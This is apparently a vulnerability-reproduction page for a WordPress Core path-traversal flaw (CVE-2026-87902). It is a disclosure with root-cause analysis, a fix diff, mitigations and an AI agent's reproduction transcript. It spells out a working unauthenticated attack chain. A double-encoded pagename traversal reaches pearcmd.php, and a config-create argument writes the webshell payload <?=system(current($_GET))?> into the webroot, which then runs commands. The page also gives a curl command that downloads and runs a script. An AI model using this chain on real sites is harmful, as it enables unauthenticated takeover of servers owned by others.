Skip to content

CVE-2026-87902: Verified Reproduction

CVE-2026-87902: WordPress Core unauthenticated path traversal in get page template page-template resolution leading to conditional RCE

CVE-2026-87902 is verified against WordPress/wordpress-develop · github. Affected versions: 4.7.0 through 7.1.1. Fixed in 7.1.2. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00356.

REPRO-2026-00356 WordPress/wordpress-develop · github RCE Sep 22, 2026 CVE entry .txt
Severity
CRITICAL
Confidence
HIGH
Reproduced in
67m 36s
Tool calls
161
Spend
$4.93
01 · Overview

What Is CVE-2026-87902?

CVE-2026-87902 is a critical-severity RCE vulnerability affecting WordPress/wordpress-develop 4.7.0 through 7.1.1. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00356).

02 · Severity & CVSS

CVE-2026-87902 Severity

CVE-2026-87902 is rated critical severity.

CRITICAL threat level
Weakness CWE-98

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected WordPress/wordpress-develop Versions

WordPress/wordpress-develop · github versions 4.7.0 through 7.1.1 are affected.

How to Reproduce CVE-2026-87902

$ pruva-verify REPRO-2026-00356
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00356/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-87902

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

Unauthenticated GET query vars: page_id (existing page) and double-url-encoded pagename traversal (templates%252f%252e%252e...%252fusr%252flocal%252flib%252fphp%252fpearcmd) plus pearcmd argv tokens (+config-create+<php>+<shell path>)

Attack chain
  1. GET /?page_id=<id>&pagename=<double-encoded traversal>&+config-create+/<?=system(current($_GET))?>+/var/www/html/<shell>.php
  2. wp-includes/template.php get_page_template()
  3. locate_template() includes /usr/local/lib/php/pearcmd.php
  4. writes webroot webshell
  5. GET /<shell>.php executes attacker command
How the agent worked 344 events · 161 tool calls · 1h 7m
1h 7mDuration
161Tool calls
69Reasoning steps
344Events
9Dead-ends
Agent activity over 1h 7m
Policy
1
Support
12
Repro
181
Judge
38
Variant
107
Verify
1
0:0067:08

Root Cause and Exploit Chain for CVE-2026-87902

Versions: 4.7.0 through 7.1.1 (all branches); fixed in 7.1.2 with backports

WordPress Core's get_page_template() (wp-includes/template.php) builds a candidate template filename from the pagename query variable after applying urldecode() to it, without the validate_file() guard that is applied to the sibling $template candidate three lines above. Because percent-encoded octets survive WordPress's query sanitization (sanitize_title_for_query() preserves %xx sequences) and the pagename query variable is settable by unauthenticated visitors, a double-url-encoded traversal payload is decoded inside get_page_template() and assembled as page-{decoded}.php. locate_template() then resolves and includes a readable local .php file outside the active theme directories. When the server also ships a useful local PHP target — PEAR's pearcmd.php with register_argc_argv=On (the default in the official PHP/WordPress Docker images) — the file inclusion becomes remote code execution via the well-known pearcmd.php config-create webshell-write transition.

  • Package/component: WordPress Core (wordpress-develop), wp-includes/template.php, get_page_template() / locate_template().
  • Affected versions: 4.7.0 through 7.1.1 (all branches); fixed in 7.1.2 with backports (7.0.6, 6.9.9, 6.8.10, 6.7.9, ... down to 4.7.37).
  • Risk: Critical (CVSS 4.0 9.2, CWE-98). Unauthenticated local PHP file inclusion, escalable to remote code execution when (1) the active theme has a top-level directory whose name starts with page- (e.g. Twenty Twelve's page-templates/) and (2) a readable local .php target such as /usr/local/lib/php/pearcmd.php exists.
  • Consequences demonstrated: arbitrary OS command execution as www-data (uid=33(www-data)) on the web server, i.e. full site compromise.

Impact Parity

  • Disclosed/claimed maximum impact: unauthenticated remote code execution (claim: api_remote surface, code_execution impact).
  • Reproduced impact from this run: unauthenticated remote code execution through the real Apache/HTTP front door of WordPress 7.1.1 — an attacker-chosen OS command (echo PRUVA-CMD-<token>;id) executed as uid=33(www-data) via a webshell that the include-chain wrote into the webroot, plus the underlying local file inclusion primitive proven independently with an out-of-theme marker file.
  • Parity: full.
  • Not demonstrated: nothing beyond the claimed impact (no persistence/privilege escalation beyond the web user, which is out of scope for the claim).

Root Cause

In WordPress ≤ 7.1.1, get_page_template() contains:

if ( $template && 0 === validate_file( $template ) ) {   // validated
    $templates[] = $template;
}
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {              // NOT validated (the bug)
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}

Reachability chain (all unauthenticated, plain-permalink front-controller request):

  1. pagename is a public query var; ?pagename=... lands in $wp->query_vars after exactly one URL decode by PHP.
  2. Double-encoding keeps octets alive: sanitize_title_for_query() preserves %xx sequences, so the query var still contains %2e%2e%2f... after WP_Query processing.
  3. The 404 trap is avoided with page_id: in WP_Query::get_posts() (class-wp-query.php ≈ line 2276) a valid page_id overwrites the WHERE clause ($where = " AND ID = <page_id>"), so the query returns the real page, is_page survives WP::handle_404(), and the template loader reaches is_page() → get_page_template().
  4. get_page_template() applies its own second urldecode(), turning templates%2f%2e%2e%2f... into templates/../../../../usr/local/lib/php/pearcmd, and prepends page- / appends .php. The leading page- is why the traversal must start inside a theme directory that literally starts with page- (Twenty Twelve's page-templates/).
  5. locate_template() sees file_exists(<theme>/page-templates/../../../../usr/local/lib/php/pearcmd.php) == true and returns the path; template-loader.php includes it.
  6. With register_argc_argv=On (default in the official PHP Docker images), $_SERVER['argv'] is built from the raw query string split on +, so &+config-create+/<php-payload>+/var/www/html/<shell>.php makes the included pearcmd.php write an attacker-controlled PHP config file into the webroot. A second unauthenticated GET to that file executes arbitrary commands.

Fix (7.1.2, diff verified against the official release): adds 0 === validate_file( $pagename_decoded ) to the pagename branch and introduces _wp_is_template_path_allowed(), a containment check (realpath must stay inside the stylesheet/template directories or wp-includes/theme-compat) applied to every candidate resolved by locate_template().

Fix reference: wordpress-develop 7.1.1...7.1.2 diff, files src/wp-includes/template.php, src/wp-includes/version.php (GHSA-7hp8-65ch-5whp, reporter Robert Ressl).

Reproduction Steps

  1. bundle/repro/reproduction_steps.sh (self-contained; only needs Docker + network).
  2. The script:
    • pulls wordpress:7.1.1-apache and mysql:8.0,
    • builds a fixed image by replacing /usr/src/wordpress with the official wordpress-7.1.2.tar.gz (keeping wp-config-docker.php),
    • records precondition evidence (WP versions, register_argc_argv=On, pearcmd.php presence, absence/presence of the patch hunks),
    • starts MySQL + both WordPress instances (vulnerable on :18081, fixed on :18082), performs the real web installer flow over HTTP, installs and activates the legacy Twenty Twelve theme (advisory-named precondition, top-level page-templates/),
    • places a readable marker PHP at /opt/pruva_lfi_marker.php (out-of-theme LFI proof target),
    • twice attacks the vulnerable instance with an unauthenticated GET /?page_id=2&pagename=templates%252f%252e%252e...%252fusr%252flocal%252flib%252fphp%252fpearcmd&+config-create+/<?=system(current($_GET))?>+/var/www/html/<shell>.php, then fetches the written shell with ?c=echo+PRUVA-CMD-<token>;id,
    • twice replays the identical attack against the fixed instance as a negative control,
    • writes bundle/repro/runtime_manifest.json with sha256-bound proof artifacts.
  3. Expected evidence: both vulnerable attempts return the per-attempt marker PRUVA-CMD-<token> and uid=33(www-data); both fixed attempts show no marker and no shell (HTTP 404 for the shell, no LFI marker in the traversal response).

Evidence

  • Preconditions/patch diff evidence: bundle/logs/reproduction_preconditions.log (vuln: $wp_version = '7.1.1', register_argc_argv=1, pearcmd.php present, 0 occurrences of validate_file( $pagename_decoded ); fixed: 7.1.2 with the guard and _wp_is_template_path_allowed).
  • Run log: bundle/logs/reproduction_steps.log ([vuln attempt 1] ... RCE=CONFIRMED LFI=CONFIRMED, 2/2, fixed 2/2 blocked).
  • Per-attack request/response pairs: bundle/logs/vuln_attempt{1,2}_{request,response}.txt (response ends with Successfully created default configuration file "/var/www/html/pruva_rce_vuln*_*.php").
  • Command-execution output: bundle/logs/vuln_attempt{1,2}_command.txt containing PRUVA-CMD-<token> and uid=33(www-data) gid=33(www-data) groups=33(www-data).
  • LFI primitive: bundle/logs/vuln_attempt{1,2}_lfi_response.txt begins with PRUVA-LFI-MARKER-87902 (out-of-theme /opt/pruva_lfi_marker.php included).
  • Negative control: bundle/logs/fixed_attempt{1,2}_*.txt — no marker, shell GET 404.
  • Environment: Apache 2.4.68 / PHP 8.3.33 (mod_php, official wordpress:7.1.1-apache image, digest recorded in runtime_manifest.json), MySQL 8.0, Twenty Twelve 4.9, plain permalinks, default options.
  • Structured runtime evidence: bundle/repro/runtime_manifest.json.

Recommendations / Next Steps

  • Upgrade to WordPress 7.1.2 (or the corresponding backport: 7.0.6, 6.9.9, 6.8.10, 6.7.9, 6.6.9, ... 4.7.37).
  • The fix approach is correct and sufficient: validate the decoded pagename with validate_file() and enforce theme-containment (_wp_is_template_path_allowed()) for every template path locate_template() resolves.
  • Defense-in-depth: set register_argc_argv=Off for web SAPIs (php.ini-production default) to neutralize the pearcmd.php transition; remove PEAR from web images; avoid activating classic themes with top-level page-* directories on unpatched installs.
  • Testing: regression test that page-%2e%2e%2f...-style pagenames (single- and double-encoded) never resolve outside the theme for both classic and block themes.

Additional Notes

  • Idempotency: the script tears down and recreates its Docker network/containers on every run, reuses cached downloads (/pruva/project-cache/packages), rebuilds the fixed image only if missing/stale, and was executed twice consecutively with identical CONFIRMED results (exit 0).
  • Implementation details discovered empirically: PHP builds $_SERVER['argv'] from the raw query string split on + and mangles single quotes, so the webshell payload is quote-free (<?=system(current($_GET))?>); curl -g is required because the payload otherwise triggers curl URL globbing.
  • The vulnerable path requires no authentication, no plugins, and default options; the only non-default elements are the documented preconditions (a page-* top-level theme directory — provided by the advisory-named Twenty Twelve theme — and a readable local .php target, provided by the stock official PHP/WordPress image).

CVE-2026-87902 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:004:43
0:00
session startedaccounts/fireworks/models/kimi-k3 · CVE-2026-87902 · REPRO-20
0:11
0:13
web search
0:24
0:32
0:33
1:35
1:35
extract_facts
no facts extracted
1:37
1:37
supportclaim_contract
1:56
1:56
1:57
2:04
2:04
2:04
2:11
$cat /workspace/bundle/ticket.md | tail -30; echo ===; cat /workspace/bundle/ticket.json | head -80
0.5s
{"cwd":"/workspace","duration_ms":66,"exit_code":0,"stderr":"","stdout":"## Summary\n\nWordPress Core unauthenticated path traversal in get_page_template() page-template resolution leading to conditional RCE\n\n## Description\n\nCVE-2026-87902 / GHSA-7hp8-65ch-5whp (Critical, CVSS 4.0 9.2 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H; CWE-98). Unauthenticated path traversal in WordPress Core page-template resolution: get_page_template() in wp-includes/template.php builds a candidate template filename from the 'pagename' query variable WITHOUT validate_file() validation — the sibling $template candidate is validated three lines above, but the urldecoded pagename candidate ('page-{$pagename_decoded}.php') is not. urldecode() turns a traversal-shaped slug into a real path, allowing inclusion of a chosen readable local .php file outside the active theme directories. Payload constraint: filename is assembled as \"page-{slug}.php\", so the traversal must continue a directory that genuinely starts with 'page-' and target a .php file. Preconditions: (1) active child/parent theme has a top-level directory whose name starts with 'page-' (e.g. page-templates; legacy Twenty Twelve and Twenty Fourt… [truncated]
2:11
2:18
$ls /pruva/project-cache/repo-mirrors/ 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json; echo ===; which docker; docker info >/dev/null 2>&1 && echo DOCKER_OK || echo DOCKER_FAIL; docker images 2>/dev/null | head -20
0.5s
{
  "schema_version": 1,
  "entries": [
    {
      "path": "repo-mirrors",
      "reuse_class": "repo",
      "provenance": "run_generated"
    }
2:40
2:42
$ls -la /pruva/project-cache/repo-mirrors/; echo ===; curl -sI --max-time 15 https://github.com/WordPress/wordpress-develop | head -3; echo ===; curl -sI --max-time 15 https://downloads.wordpress.org/release/wordpress-7.1.1.tar.gz | head -3
1.7s
total 0
drwx------ 2 vscode vscode 40 Sep 22 17:39 .
drwx------ 4 vscode vscode 80 Sep 22 17:39 ..
===
HTTP/2 200 
date: Tue, 22 Sep 2026 17:42:36 GMT
content-type: text/html; charset=utf-8
===
2:51
2:53
$curl -s --max-time 30 "https://api.github.com/repos/WordPress/wordpress-develop/compare/7.1.1...7.1.2" | python3 -c " import json,sys d=json.load(sys.stdin) print(d.get('total_commits')) for f in d.get('files',[]): print(f['filename'], f['status']) "
1.8s
4
composer.json modified
package-lock.json modified
package.json modified
src/wp-admin/about.php modified
src/wp-includes/template.php modified
src/wp-includes/version.php modified
3:01
$curl -s --max-time 30 "https://github.com/WordPress/wordpress-develop/compare/7.1.1...7.1.2.diff" -o /tmp/fix.diff && grep -n "template.php" /tmp/fix.diff && sed -n '/diff --git a\/src\/wp-includes\/template.php/,/^diff --git/p' /tmp/fix.diff
0.9s
{"cwd":"/workspace","duration_ms":505,"exit_code":0,"stderr":"","stdout":"75:diff --git a/src/wp-includes/template.php b/src/wp-includes/template.php\n77:--- a/src/wp-includes/template.php\n78:+++ b/src/wp-includes/template.php\ndiff --git a/src/wp-includes/template.php b/src/wp-includes/template.php\nindex 6ec1934f866ec..4c1bc94b107b3 100644\n--- a/src/wp-includes/template.php\n+++ b/src/wp-includes/template.php\n@@ -490,7 +490,7 @@ function get_page_template() {\n \t}\n \tif ( $pagename ) {\n \t\t$pagename_decoded = urldecode( $pagename );\n-\t\tif ( $pagename_decoded !== $pagename ) {\n+\t\tif ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {\n \t\t\t$templates[] = \"page-{$pagename_decoded}.php\";\n \t\t}\n \t\t$templates[] = \"page-{$pagename}.php\";\n@@ -698,6 +698,67 @@ function wp_set_template_globals() {\n \t$wp_template_path   = get_template_directory();\n }\n \n+/**\n+ * Determines whether a template found by locate_template() may be loaded.\n+ *\n+ * @since 7.1.2\n+ * @access private\n+ *\n+ * @global string $wp_stylesheet_path Path to current theme's stylesheet directory.\n+ * @global string $wp_template_path   Path to current theme's te… [truncated]
4:40
4:41
$curl -s --max-time 30 "https://raw.githubusercontent.com/WordPress/wordpress-develop/7.1.1/src/wp-includes/template.php" -o /tmp/template-7.1.1.php && sed -n '440,530p' /tmp/template-7.1.1.php
0.8s
{"cwd":"/workspace","duration_ms":351,"exit_code":0,"stderr":"","stdout":"\n/**\n * Retrieves path of page template in current or parent template.\n *\n * Note: For block themes, use locate_block_template() function instead.\n *\n * The hierarchy for this template looks like:\n *\n * 1. {Page Template}.php\n * 2. page-{page_name}.php\n * 3. page-{id}.php\n * 4. page.php\n *\n * An example of this is:\n *\n * 1. page-templates/full-width.php\n * 2. page-about.php\n * 3. page-4.php\n * 4. page.php\n *\n * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}\n * and {@see '$type_template'} dynamic hooks, where `$type` is 'page'.\n *\n * @since 1.5.0\n * @since 4.7.0 The decoded form of `page-{page_name}.php` was added to the top of the\n *              template hierarchy when the page name contains multibyte characters.\n *\n * @see get_query_template()\n *\n * @return string Full path to page template file.\n */\nfunction get_page_template() {\n\t$id       = get_queried_object_id();\n\t$template = get_page_template_slug();\n\t$pagename = get_query_var( 'pagename' );\n\n\tif ( ! $pagename && $id ) {\n\t\t/*\n\t\t * If a static page is set a… [truncated]
4:43
web search
08 · How to Fix

How to Fix CVE-2026-87902

Upgrade WordPress/wordpress-develop · github to 7.1.2 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-87902 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-87902

Is CVE-2026-87902 exploitable?

Yes. Pruva independently reproduced CVE-2026-87902 in WordPress/wordpress-develop and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00356).

How severe is CVE-2026-87902?

CVE-2026-87902 is rated critical severity.

What type of vulnerability is CVE-2026-87902?

CVE-2026-87902 is classified as CWE-98, a RCE vulnerability.

Which versions of WordPress/wordpress-develop are affected by CVE-2026-87902?

WordPress/wordpress-develop 4.7.0 through 7.1.1 is affected by CVE-2026-87902.

Is there a fix for CVE-2026-87902?

Yes. CVE-2026-87902 is fixed in WordPress/wordpress-develop 7.1.2. Upgrading to the fixed version remediates the issue.

How can I reproduce CVE-2026-87902?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the CVE-2026-87902 reproduction verified?

Yes. Pruva reproduced CVE-2026-87902 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for CVE-2026-87902

Authoritative sources for CVE-2026-87902 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.